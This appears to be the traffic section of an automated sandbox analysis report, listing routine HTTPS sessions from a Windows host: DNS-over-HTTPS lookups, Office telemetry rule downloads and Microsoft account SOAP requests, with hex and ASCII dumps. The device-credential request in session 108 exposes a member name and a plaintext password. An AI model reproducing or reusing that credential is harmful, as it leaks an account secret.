2024-10-31 00:18:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-31 00:18:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-31 00:18:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 31 Oct 2024 00:18:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8daf78273a052e78-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 00:18:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 88 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49858	172.64.41.3	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-31 00:18:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-31 00:18:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 31 Oct 2024 00:18:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8daf7827383e4692-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 00:18:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2c 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom,s^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49860	162.159.61.3	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-31 00:18:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-31 00:18:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 31 Oct 2024 00:18:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8daf78276d9547af-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 00:18:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 bd 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:42 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:42 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:42 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 0243abe0-001e-0028-29fb-25c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001842Z-16849878b785jrf8dn0d2rczaw00000009yg000000009b5y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:42 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:42 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:42 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:42 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: d866d412-001e-0028-1c9c-27c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001842Z-15b8d89586fzhrwgk23ex2bvhw0000000bq000000000exgu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:42 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:42 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:42 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:42 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: e6a28f74-a01e-00ab-600b-2b9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001842Z-15b8d89586ffsjj9qb0gmb1stn0000000cvg00000000huzh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:42 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:42 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:42 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:42 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: eb17c832-b01e-0097-1249-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001842Z-15b8d89586fqj7k5h9gbd8vs980000000a0g000000006530 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:42 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:42 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:42 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:42 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001842Z-16849878b78xblwksrnkakc08w000000080000000000fk9p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:42 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	49863	40.126.32.140	443	4676	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:43 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-31 00:18:43 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-31 00:18:43 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 31 Oct 2024 00:17:43 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: 854180ee-af37-4481-8a80-4ee3ed562605 PPServer: PPV: 30 H: BL02EPF000276B4 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 31 Oct 2024 00:18:42 GMT Connection: close Content-Length: 1276
2024-10-31 00:18:43 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49865	40.126.32.140	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:43 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-10-31 00:18:43 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 61 74 65 71 7a 69 6c 74 6d 71 65 68 7a 68 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 50 70 76 72 2d 73 39 56 6e 58 63 4c 39 50 21 50 42 65 28 2c 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02ateqziltmqehzh</Membername><Password>Ppvr-s9VnXcL9P!PBe(,</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-10-31 00:18:45 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Thu, 31 Oct 2024 00:17:43 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_SN1 x-ms-request-id: 73300331-7940-411d-a18c-fa15f5b25732 PPServer: PPV: 30 H: SN1PEPF0002F01B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 31 Oct 2024 00:18:44 GMT Connection: close Content-Length: 17166
2024-10-31 00:18:45 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 34 30 31 30 34 35 41 34 44 35 30 41 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 32 62 63 39 34 38 38 35 2d 38 61 62 36 2d 34 34 38 63 2d 38 36 39 36 2d 66 32 64 37 36 35 37 38 31 63 66 62 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018401045A4D50A</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="2bc94885-8ab6-448c-8696-f2d765781cfb" LicenseID="3252b20c-d425-4711
